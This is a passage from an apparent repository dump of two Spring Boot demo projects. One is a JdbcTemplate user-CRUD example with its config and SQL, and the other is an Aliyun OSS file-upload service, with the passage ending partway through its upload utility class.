    "content": "package com.jun.plugin.orm.jdbctemplate.entity;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport com.jun.plugin.orm.jdbctemplate.annotation.Column;\nimport com.jun.plugin.orm.jdbctemplate.annotation.Pk;\nimport com.jun.plugin.orm.jdbctemplate.annotation.Table;\n\n/**\n * <p>\n * 用户实体类\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.entity\n * @description: 用户实体类\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 10:45 AM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Table(name = \"orm_user\")\npublic class User implements Serializable {\n\t/**\n\t * 主键\n\t */\n\t@Pk\n\tprivate Long id;\n\n\t/**\n\t * 用户名\n\t */\n\tprivate String name;\n\n\t/**\n\t * 加密后的密码\n\t */\n\tprivate String password;\n\n\t/**\n\t * 加密使用的盐\n\t */\n\tprivate String salt;\n\n\t/**\n\t * 邮箱\n\t */\n\tprivate String email;\n\n\t/**\n\t * 手机号码\n\t */\n\t@Column(name = \"phone_number\")\n\tprivate String phoneNumber;\n\n\t/**\n\t * 状态，-1：逻辑删除，0：禁用，1：启用\n\t */\n\tprivate Integer status;\n\n\t/**\n\t * 创建时间\n\t */\n\t@Column(name = \"create_time\")\n\tprivate Date createTime;\n\n\t/**\n\t * 上次登录时间\n\t */\n\t@Column(name = \"last_login_time\")\n\tprivate Date lastLoginTime;\n\n\t/**\n\t * 上次更新时间\n\t */\n\t@Column(name = \"last_update_time\")\n\tprivate Date lastUpdateTime;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/service/IUserService.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.service;\n\nimport java.util.List;\n\nimport com.jun.plugin.orm.jdbctemplate.entity.User;\n\n/**\n * <p>\n * User Service\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.service\n * @description: User Service\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 1:51 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface IUserService {\n\t/**\n\t * 保存用户\n\t *\n\t * @param user 用户实体\n\t * @return 保存成功 {@code true} 保存失败 {@code false}\n\t */\n\tBoolean save(User user);\n\n\t/**\n\t * 删除用户\n\t *\n\t * @param id 主键id\n\t * @return 删除成功 {@code true} 删除失败 {@code false}\n\t */\n\tBoolean delete(Long id);\n\n\t/**\n\t * 更新用户\n\t *\n\t * @param user 用户实体\n\t * @param id   主键id\n\t * @return 更新成功 {@code true} 更新失败 {@code false}\n\t */\n\tBoolean update(User user, Long id);\n\n\t/**\n\t * 获取单个用户\n\t *\n\t * @param id 主键id\n\t * @return 单个用户对象\n\t */\n\tUser getUser(Long id);\n\n\t/**\n\t * 获取用户列表\n\t *\n\t * @param user 用户实体\n\t * @return 用户列表\n\t */\n\tList<User> getUser(User user);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/java/com/jun/plugin/orm/jdbctemplate/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.orm.jdbctemplate.service.impl;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.bean.copier.CopyOptions;\nimport cn.hutool.core.date.DateTime;\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.crypto.SecureUtil;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.orm.jdbctemplate.constant.Const;\nimport com.jun.plugin.orm.jdbctemplate.dao.UserDao;\nimport com.jun.plugin.orm.jdbctemplate.entity.User;\nimport com.jun.plugin.orm.jdbctemplate.service.IUserService;\n\nimport java.util.List;\n\n/**\n * <p>\n * User Service Implement\n * </p>\n *\n * @package: com.xkcoding.orm.jdbctemplate.service.impl\n * @description: User Service Implement\n * @author: yangkai.shen\n * @date: Created in 2018/10/15 1:53 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\npublic class UserServiceImpl implements IUserService {\n\tprivate final UserDao userDao;\n\n\t@Autowired\n\tpublic UserServiceImpl(UserDao userDao) {\n\t\tthis.userDao = userDao;\n\t}\n\n\t/**\n\t * 保存用户\n\t *\n\t * @param user 用户实体\n\t * @return 保存成功 {@code true} 保存失败 {@code false}\n\t */\n\t@Override\n\tpublic Boolean save(User user) {\n\t\tString rawPass = user.getPassword();\n\t\tString salt = IdUtil.simpleUUID();\n\t\tString pass = SecureUtil.md5(rawPass + Const.SALT_PREFIX + salt);\n\t\tuser.setPassword(pass);\n\t\tuser.setSalt(salt);\n\t\treturn userDao.insert(user) > 0;\n\t}\n\n\t/**\n\t * 删除用户\n\t *\n\t * @param id 主键id\n\t * @return 删除成功 {@code true} 删除失败 {@code false}\n\t */\n\t@Override\n\tpublic Boolean delete(Long id) {\n\t\treturn userDao.delete(id) > 0;\n\t}\n\n\t/**\n\t * 更新用户\n\t *\n\t * @param user 用户实体\n\t * @param id   主键id\n\t * @return 更新成功 {@code true} 更新失败 {@code false}\n\t */\n\t@Override\n\tpublic Boolean update(User user, Long id) {\n\t\tUser exist = getUser(id);\n\t\tif (StrUtil.isNotBlank(user.getPassword())) {\n\t\t\tString rawPass = user.getPassword();\n\t\t\tString salt = IdUtil.simpleUUID();\n\t\t\tString pass = SecureUtil.md5(rawPass + Const.SALT_PREFIX + salt);\n\t\t\tuser.setPassword(pass);\n\t\t\tuser.setSalt(salt);\n\t\t}\n\t\tBeanUtil.copyProperties(user, exist, CopyOptions.create().setIgnoreNullValue(true));\n\t\texist.setLastUpdateTime(new DateTime());\n\t\treturn userDao.update(exist, id) > 0;\n\t}\n\n\t/**\n\t * 获取单个用户\n\t *\n\t * @param id 主键id\n\t * @return 单个用户对象\n\t */\n\t@Override\n\tpublic User getUser(Long id) {\n\t\treturn userDao.findOneById(id);\n\t}\n\n\t/**\n\t * 获取用户列表\n\t *\n\t * @param user 用户实体\n\t * @return 用户列表\n\t */\n\t@Override\n\tpublic List<User> getUser(User user) {\n\t\treturn userDao.findByExample(user);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n    username: root\n    password: root\n    driver-class-name: com.mysql.cj.jdbc.Driver\n    type: com.zaxxer.hikari.HikariDataSource\n    initialization-mode: always\n    continue-on-error: true\n    schema:\n    - \"classpath:db/schema.sql\"\n    data:\n    - \"classpath:db/data.sql\"\n    hikari:\n      minimum-idle: 5\n      connection-test-query: SELECT 1 FROM DUAL\n      maximum-pool-size: 20\n      auto-commit: true\n      idle-timeout: 30000\n      pool-name: SpringBootDemoHikariCP\n      max-lifetime: 60000\n      connection-timeout: 30000\nlogging:\n  level:\n    com.jun.plugin: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/resources/db/data.sql",
    "content": "INSERT INTO `orm_user`(`id`,`name`,`password`,`salt`,`email`,`phone_number`) VALUES (1, 'user_1', 'ff342e862e7c3285cdc07e56d6b8973b', '412365a109674b2dbb1981ed561a4c70', 'user1@xkcoding.com', '17300000001');\nINSERT INTO `orm_user`(`id`,`name`,`password`,`salt`,`email`,`phone_number`) VALUES (2, 'user_2', '6c6bf02c8d5d3d128f34b1700cb1e32c', 'fcbdd0e8a9404a5585ea4e01d0e4d7a0', 'user2@xkcoding.com', '17300000002');"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/main/resources/db/schema.sql",
    "content": "DROP TABLE IF EXISTS `orm_user`;\nCREATE TABLE `orm_user` (\n  `id` INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT '主键',\n  `name` VARCHAR(32) NOT NULL UNIQUE COMMENT '用户名',\n  `password` VARCHAR(32) NOT NULL COMMENT '加密后的密码',\n  `salt` VARCHAR(32) NOT NULL COMMENT '加密使用的盐',\n  `email` VARCHAR(32) NOT NULL UNIQUE COMMENT '邮箱',\n  `phone_number` VARCHAR(15) NOT NULL UNIQUE COMMENT '手机号码',\n  `status` INT(2) NOT NULL DEFAULT 1 COMMENT '状态，-1：逻辑删除，0：禁用，1：启用',\n  `create_time` DATETIME NOT NULL DEFAULT NOW() COMMENT '创建时间',\n  `last_login_time` DATETIME DEFAULT NULL COMMENT '上次登录时间',\n  `last_update_time` DATETIME NOT NULL DEFAULT NOW() COMMENT '上次更新时间'\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Spring Boot Demo Orm 系列示例表';\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/src/test/java/com/jun/plugin/orm/jdbctemplate/SpringBootDemoOrmJdbctemplateApplicationTests.java",
    "content": "package com.jun.plugin.orm.jdbctemplate;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoOrmJdbctemplateApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/README.md",
    "content": "# doumuxie-fileupload\n\n> 在线Demo `10M以内文件` [传送门][http://upload.doumuxie.com/]\n\n#### 介绍\nSpringboot整合阿里云OSS进行文件上传\n\n#### 软件架构\nJDK1.8 + Springboot + maven + fastjson + aliyunOSS\n\n\n#### 安装教程\n\n1.  `git clone https://gitee.com/lyears/doumuxie-fileupload.git` 并修改 application-dev.yml 配置文件\n2.  使用 `maven clean install` 编译打包\n3.  编译后jar包上传至linux服务器，使用 `nohup java -jar 包名 &`后台启动\n\n#### 使用说明\n\n1.  JDK1.8环境下运行\n\n\n#### 参与贡献\n\n1.  斗木獬 Pull\n\n\n\n[http://upload.doumuxie.com/]: http://upload.doumuxie.com/"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.0.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>com.doumuxie</groupId>\n    <artifactId>springboot_oss_aliyun</artifactId>\n    <version>1.0</version>\n\n    <dependencies>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.8.1</version>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-logging</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.aliyun.oss</groupId>\n            <artifactId>aliyun-sdk-oss</artifactId>\n            <version>3.1.0</version>\n        </dependency>\n\n    </dependencies>\n\n    <!--maven打包配置-->\n    <build>\n        <!--打包后的最终包名 -->\n        <finalName>file-upload</finalName>\n        <plugins>\n            <plugin>\n                <configuration>\n                    <!--主启动类-->\n                    <mainClass>com.doumuxie.StartApplication</mainClass>\n                    <includeSystemScope>true</includeSystemScope>\n                </configuration>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/StartApplication.java",
    "content": "package com.doumuxie;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * @author doumuxie\n * @version 1.0\n * @date 2020-01-20 17:37:08\n * @description 文件上传\n **/\n@SpringBootApplication\npublic class StartApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(StartApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/config/CorsConfig.java",
    "content": "package com.doumuxie.config;\n\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.cors.CorsConfiguration;\nimport org.springframework.web.cors.UrlBasedCorsConfigurationSource;\nimport org.springframework.web.filter.CorsFilter;\n\n/**\n * @author doumuxie\n * @version 1.0\n * @date 2020/1/21 13:50\n * @description 跨域配置 （允许跨域）\n **/\n@Configuration\npublic class CorsConfig {\n\n\n    private CorsConfiguration buildConfig() {\n        CorsConfiguration corsConfiguration = new CorsConfiguration();\n        //允许任何域名\n        corsConfiguration.addAllowedOrigin(\"*\");\n        //允许任何头\n        corsConfiguration.addAllowedHeader(\"*\");\n        //允许任何方法\n        corsConfiguration.addAllowedMethod(\"*\");\n        return corsConfiguration;\n    }\n\n    @Bean\n    public CorsFilter corsFilter() {\n        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();\n        //注册\n        source.registerCorsConfiguration(\"/**\", buildConfig());\n        return new CorsFilter(source);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/config/GlobalExceptionHandler.java",
    "content": "package com.doumuxie.config;\n\nimport com.doumuxie.utils.ResultUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.HttpRequestMethodNotSupportedException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\nimport org.springframework.web.multipart.MaxUploadSizeExceededException;\n\n/**\n * @author liangliang\n * @version 1.0\n * @date 2019/5/28 11:17\n * @description GlobalExceptionHandler 全局异常处理\n **/\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);\n\n    /**\n     * 捕获全局异常\n     *\n     * @param e 异常信息\n     * @return 返回统一格式\n     */\n    @ExceptionHandler(Exception.class)\n    public ResultUtil exceptionHandler(Exception e) {\n        logger.error(e.getMessage());\n        return ResultUtil.error(\"服务器繁忙!\");\n    }\n\n\n    /**\n     * 捕获 文件大小超出限制异常\n     *\n     * @param e 异常信息\n     * @return 返回统一格式\n     */\n    @ExceptionHandler(MaxUploadSizeExceededException.class)\n    public ResultUtil exceptionHandler(MaxUploadSizeExceededException e) {\n        logger.error(\"文件过大，请传入不大于10M的文件。\");\n        return ResultUtil.error(\"文件过大，请传入不大于10M的文件。\");\n    }\n\n    /**\n     * 捕获 请求方式不正确\n     *\n     * @param e 异常信息\n     * @return 返回统一格式\n     */\n    @ExceptionHandler(HttpRequestMethodNotSupportedException.class)\n    public ResultUtil exceptionHandler(HttpRequestMethodNotSupportedException e) {\n        logger.error(\"错误的请求方式\");\n        return ResultUtil.error(\"错误的请求方式\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/controller/IndexController.java",
    "content": "package com.doumuxie.controller;\n\nimport com.aliyun.oss.OSSClient;\nimport com.doumuxie.dto.FileDto;\nimport com.doumuxie.utils.AliyunOSSClientUtil;\nimport com.doumuxie.utils.ResultUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\n/**\n * @author doumuxie\n * @version 1.0\n * @date 2020/1/20 19:03\n * @description 文件上传\n **/\n@RestController\npublic class IndexController {\n\n    private static Logger logger = LoggerFactory.getLogger(IndexController.class);\n\n    @RequestMapping(value = \"/upload\", method = RequestMethod.POST)\n    public ResultUtil upload(@RequestParam(\"file\") MultipartFile file) {\n        logger.info(\"开始执行upload方法\");\n        if (file.isEmpty()) {\n            return ResultUtil.error(\"文件不存在\");\n        }\n\n        logger.info(\"初始化OSSClient\");\n        //初始化OSSClient\n        OSSClient ossClient = AliyunOSSClientUtil.getOSSClient();\n        logger.info(\"开始上传文件====>\" +file.getOriginalFilename());\n        FileDto dto = AliyunOSSClientUtil.uploadObject2OSS(ossClient, file);\n        if (dto == null) {\n            return ResultUtil.error(\"文件上传失败\");\n        }\n        return ResultUtil.success(dto);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/dto/FileDto.java",
    "content": "package com.doumuxie.dto;\n\npublic class FileDto {\n\n    private String id;\n\n    private String name;\n\n    private String url;\n\n    private Long size;\n\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public Long getSize() {\n        return size;\n    }\n\n    public void setSize(Long size) {\n        this.size = size;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oss_aliyun/src/main/java/com/doumuxie/utils/AliyunOSSClientUtil.java",
    "content": "package com.doumuxie.utils;\n\n\nimport com.aliyun.oss.OSSClient;\nimport com.aliyun.oss.model.Bucket;\nimport com.aliyun.oss.model.OSSObject;\nimport com.doumuxie.dto.FileDto;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.ByteArrayInputStream;\nimport java.util.Objects;\n\n/**\n * @author doumuxie\n * @version 1.0\n * @date 2020/1/20 16:08\n * @description 阿里云 oss 对象存储 工具类\n **/\n@Component\npublic class AliyunOSSClientUtil {\n\n\n    private static Logger logger = LoggerFactory.getLogger(AliyunOSSClientUtil.class);\n    /**\n     * //阿里云API的内或外网域名\n     */\n    private static String ENDPOINT;\n    /**\n     * //阿里云API的密钥Access Key ID\n     */\n    private static String ACCESS_KEY_ID;\n    /**\n     * //阿里云API的密钥Access Key Secret\n     */\n    private static String ACCESS_KEY_SECRET;\n    /**\n     * //阿里云API的bucket名称\n     */\n    private static String BUCKET_NAME;\n    /**\n     * //阿里云API的文件夹名称\n     */\n    private static String FOLDER;\n\n    /**\n     * 获取阿里云OSS客户端对象 (初始化)\n     *\n     * @return ossClient\n     */\n    public static OSSClient getOSSClient() {\n        return new OSSClient(ENDPOINT, ACCESS_KEY_ID, ACCESS_KEY_SECRET);\n    }\n\n\n\n    /**\n     * 根据key删除OSS服务器上的文件\n     *\n     * @param ossClient  oss连接\n     * @param bucketName 存储空间\n     * @param folder     模拟文件夹名 如\"qj_nanjing/\"\n     * @param key        Bucket下的文件的路径名+文件名 如：\"default/123.jpg\"\n     */\n    public static void deleteFile(OSSClient ossClient, String bucketName, String folder, String key) {\n        ossClient.deleteObject(bucketName, folder + key);\n        logger.info(\"删除\" + bucketName + \"下的文件\" + folder + key + \"成功\");\n    }\n\n\n    /**\n     * 上传图片至OSS\n     *\n     * @param ossClient oss连接\n     * @param file      MultipartFile 文件\n     * @param folder    指定上传文件夹路径\n     * @return FileDto   上传结果\n     */\n    public static FileDto uploadObject2OSS(OSSClient ossClient, MultipartFile file, String folder) {\n        return uploadObject2OSS(ossClient, file, BUCKET_NAME, folder);\n    }\n\n    /**\n     * 上传图片至OSS\n     *\n     * @param ossClient oss连接\n     * @param file      MultipartFile 文件\n     * @return FileDto   上传结果\n     */\n    public static FileDto uploadObject2OSS(OSSClient ossClient, MultipartFile file) {\n        return uploadObject2OSS(ossClient, file, BUCKET_NAME, FOLDER);\n    }\n\n    /**\n     * 上传图片至OSS\n     *\n     * @param ossClient  oss连接\n     * @param file       MultipartFile 文件\n     * @param bucketName 存储空间\n     * @param folder     文件夹名称\n     * @return FileDto   上传结果\n     */\n    public static FileDto uploadObject2OSS(OSSClient ossClient, MultipartFile file, String bucketName, String folder) {\n        logger.info(\"   上传参数bucketName , folder ===> \" + bucketName + \" , \" + folder);\n        FileDto dto = new FileDto();\n        try {\n            StringBuilder fileUrl = new StringBuilder();\n            String suffix = Objects.requireNonNull(file.getOriginalFilename()).substring(file.getOriginalFilename().lastIndexOf('.'));\n            String point = \".\";\n            String uuid = UUIDUtil.getUUID();\n            dto.setSize(file.getSize());\n            dto.setId(uuid);\n            dto.setName(file.getOriginalFilename());\n\n            if (!suffix.startsWith(point)) {\n                suffix = point + suffix;\n            }\n            String fileName = uuid + suffix;\n            if (!folder.endsWith(\"/\")) {\n                folder = folder.concat(\"/\");\n            }\n            fileUrl.append(folder).append(fileName);\n            ossClient.putObject(bucketName, fileUrl.toString(), file.getInputStream());\n            // 